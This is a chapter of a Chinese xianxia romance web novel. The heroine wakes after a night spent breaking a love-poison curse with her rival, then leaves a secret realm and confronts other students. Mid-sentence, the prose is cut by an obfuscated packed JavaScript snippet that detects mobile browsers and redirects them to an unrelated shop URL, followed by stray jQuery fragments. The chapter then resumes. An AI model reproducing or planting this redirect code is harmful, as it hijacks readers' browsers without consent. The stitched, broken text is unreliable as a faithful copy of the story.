26. 出境

作品:《宿敌竟是阴湿男鬼

    昨夜骤雨三巡。


    雨愈下愈急,到后半夜时,耳边几乎只剩下剩下连绵细碎的水声,还有不间断的风声。


    明荷华觉得自己全身上下都被吻遍了。


    除了唇。


    那是她最初躲开的地方。


    也许是谢翊安误会她并不喜欢。


    相思烬对一个人的影响竟然如此之大吗?


    若放在今天之前,她绝对不曾想会见到谢翊安如此陌生的一面。


    他的体温似乎比常人低很多,偏指尖又总是好奇地触碰她,两两相依时,就像一条附着在皮肤上的冰冷黑蛇,她总是抑制不住地颤抖。


    她起先还有心思关注左手腕银线的变化,被谢翊安眸底的暗色吸引,渐渐地,便只会失神地盯着一处发呆了。


    烛火幽微,墙壁上静立不动的黑影好似与谢翊安融为一体,他垂低眼望着怀中昏沉的明荷华,无声无息地抱了她一夜。


    ……


    晨曦微亮。


    明荷华是在清浅的桃花香中醒来的。


    她睡得并不好,甚至都不知道自己是什么时候失去意识的。


    果然,刚一睁眼便觉眼皮沉重,还有点痛。


    “先别动。”


    谢翊安的声音在耳畔响起,随之而来的还有他递过来的一方散逸出淡淡草药清香的绢帕。


    “得敷一下,昨夜哭太多了。”


    明荷华:“……”


    好丢脸。


    他是怎么面不改色地说出这句话的?


    她闭着眼接过了帕子,假装自己刚刚什么也没听到。


    除了眼睛,好像腰和腿也有点酸痛,这是相思烬带来的副作用吗?


    灵力运行倒是没什么滞涩的,也没有精进。


    毕竟只是解蛊,不是双修。


    但是……


    做过这种事的两个人会变得熟悉吗,还是会变得奇怪?


    不知道为什么,她现在会刻意避开与谢翊安的对视。


    明荷华觉得敷完眼皮的的绢帕放到哪里都不对劲,拎着它迟疑地徘徊不前,亦如自己的心。


    谢翊安好像毫无所觉:


    “给我吧。”


    他的手修长又漂亮,但因为是剑修,所以手不可避免会有一些薄茧。


    明荷华注意到这一点时,脑海中忍不住又回忆起昨晚的画面。


    完了。


    彻底回不去了。


    她自欺欺人地捂着脸,期盼这点不合时宜的想法快些过去。


    谢翊安有些莞尔地注视着她。


    和他预想中的不同,刚醒来的明荷华似乎有些迷糊,也没有质问他的意思。


    也或许是昨天的事冲击太大,她到现在还没缓过神来。


    她就这么靠坐在榻上,发丝微乱地垂落下来,耳后与颈侧全是暧.昧红痕,像新雪中的点点绛梅,惹眼又勾人。


    须臾,明荷华终于想起一件事,抬眼看过来:


    “明明已经解蛊了,你为什么……”


    说起这个,她就有些气不打一处来。


    昨天她都喊停了。


    谢翊安却避而不答,只是好心示意她最好去照下铜镜,还体贴地侧过身去,给了她穿衣的空间。


    照镜子做什么?


    她脸上有东西?


    明荷华不解地来到桌案前,望见的就是自己眼唇微红,锁骨之上遍布春痕的模样。


    “……”


    她闭了闭眼,想到刚刚自己竟然是以这样一种姿态与谢翊安说话的,心中更是羞臊得厉害。


    但她问出口的却是:


    “为什么你没有?”


    谢翊安还是那副清隽冷淡的面容,除了眼尾的一点靡艳,怕是说他现在要去开一场论道讲会都有人信。


    “在背后。”谢翊安似笑非笑,“而且,你昨天掐住我的时候,也留下了一点……”


    “好的。”明荷华打断了他,她深觉这不是个美妙的话题,“就让这件事过去吧。”


    那是完全混乱、失控的局面。


    哪怕知晓是为了解蛊,她现在看到谢翊安也有点迁怒。


    她不想再回忆了。


    至少现在,她要暂时回到正轨。


    “秘境破了吗?”她问。


    谢翊安烹茶的动作微微一顿。


    明荷华总是能很快地调节情绪,哪怕前一刻还在沮丧,但在正事面前,她又会变得无比专注。


    仿佛很多事情都只浮于表面,而不会在她心里留下一丝波澜。


    昨晚也是这样吗?


    “当日我们掉落秘境是午时,若二者有联系,大约也是在那个时段。”


    这么说还有一个时辰。


    得把这印记遮盖掉。


    明荷华下床时没忍住晃了一下,又很快地被谢翊安扶住。


    “我……”


    她的面色一阵红一阵白,有点难以启齿的样子。


    谢翊安对男女之事确实不算了解,他昨日已经帮她擦洗过了,为何她今日还是十分难受?


    但她轻巧地甩开了他的手,不想多谈的模样,谢翊安也就体贴地没再多问。


    先前那身衣裙上的痕迹已经不能看了,明荷华选择毁尸灭迹,一个法诀将它们全烧了。


    一切都收拾好后,她终于推门出去。


    血祭的事情并不算小,许多百姓当晚便从睡梦中惊醒,人心惶惶。此刻“祭坛破、邪祟除”的消息更是在世家的推波助澜下流窜得飞快,大街小巷都在谈论这件事。


    “听说了吗?郭家那草药居然是从一个妖手里抢的!”


    “这算什么!先前那个心魇,还是城主公子一手策划的呢!”


    “嘿,邺城是不是要变天啦?”


    哪怕上层的动荡看似距离他们的生活很远,但贪婪与阴谋被揭露,得知了真正帮助自己的是谁后,总会有人对身边的妖多几分愧疚之心。


    叶氏也不再是一手遮天的地头蛇,暗流涌动中新的格局悄然建立。


    “我是来向你们告别的。”叶笙一直在楼下等他们,“我要去流云峰,开启新的生活了。”


    “听说那里气候宜人,鲜花遍地,除了大小宗门,也有许多散修门派。你觉得我加入哪方比较好呢?”


    明荷华认真地听她分享完,思忖片刻,给出了自己的建议:


    “你的控制力很精准,灵力也很深厚,这些都是对修炼助益颇多的优点。可以不用急于选择,先看看你对哪个方向最感兴趣……”


    玉玄门众人也准备在此分开了。修道者都有自己的历练,惟有永远在路上,才能不断变强。


    邺城一次合作,倒让李善与他们的关系拉近了。邱临风邀请他一道去广陵游玩,李善摇扇欣然同意。


    含含也牵着马得快一起站在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295777|195519||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    客栈不远处,不舍地望着他们。


    “这个秘境还会存在吗?”明荷华突然问叶笙。


    一般来说,如果主境人身死,秘境就会随之湮灭。但若仅打断境中事的不断溯回,她不知道结果会如何。


    “这是最后一世。”叶笙轻轻地说,“也不会再有人进来了。”


    “再见,明荷华。”


    日头稳稳停在穹顶正中,仿佛有无数金色流光从天边乍现,成千上万个细小光点裹挟着这片区域不断下坠,翻涌,明荷华还没来得及回答她,便又是一阵天旋地转。


    真是毫不意外的、和入境如出一辙的出境方式。


    谁料还没站稳脚跟,便感到一枚黑影带着苍劲灵力直冲她面门袭来——


    四方棋!


    明荷华侧身躲过,下意识皱眉,还没回神便又是一枚来势汹汹的白影。


    下一刻“铛”地一声,出剑声与撞击声几乎前后脚迸发开来,随后白子便在被弹飞的瞬间,连同刚刚那枚黑子一起,散成两蓬细细的尘雾。


    “慢了点。”司徒邈率先望向明荷华,“你受伤了?”


    她以前躲开的时候,动作可没这么迟缓。


    某种程度被说中心事的明荷华:“……”


    随即又转向谢翊安,有些狐疑:“看来你们在境中境里相处得不错。”


    汪樾还在那里吱哇乱叫:“哇!你这个人怎么回事!你跟踪我!”


    他早就用卦象推演到明荷华与谢翊安会在今日午时出境,本来犹豫要不要告诉聂殊,但想着人多眼杂,就只自己偷偷过来蹲守。


    谁料后面跟了个尾巴,这司徒家的狗皮膏药!


    “顺路而已。”司徒邈微笑。


    “难道不是想来看看我们得到了什么机缘吗?”明荷华不客气地点出。


    “……”


    通灵玉会记载每个人在秘境中实际获得的分数,最后参与书院评判。司徒邈必然是疑心他们有什么奇遇,会获得额外的加分。


    对付司徒邈这种死要面子的真小人,直戳心窝就是最好的办法。


    骤然一下回到现世,虽然仍在秘境中,但明荷华还是感到一阵心安。


    眼见司徒邈似乎在琢磨着摇人过来明抢,她扬了扬下巴:


    “我劝你不要想不开。”


    司徒邈顺着她示意的方向看过去,便见聂殊清凌凌地站在后面,像一株冷淡的花。虽没什么表情,却一直盯着他的位置。


    汪樾震惊:“不是,你们怎么都……”


    一个两个,都是什么时候跟上他的,这不声不响的,还怎么玩?


    “在你的人过来之前,我们完全可以把你打趴下。”


    明荷华似乎发现了什么好玩的事,张扬的笑意晃得人睁不开眼。


    “好。”司徒邈摊开双手,示意自己的无害,“我只是想跟你们说说话。”


    然而下一刻,他的目光重又落回到谢翊安身上,有些意味深长:


    “所以你们真的发生了什么。”


    若说刚刚,他还不敢确定,疑心是谢翊安为了自保,才击碎了那两枚飞向明荷华的棋子。


    然而现在他却敢肯定,谢翊安全程的目光就没有离开过明荷华。


    太刻意,反而不像是平日里的他了。


    他这话瞬间把众人的视线全都聚焦到两人身上——


    他们发生了什么吗?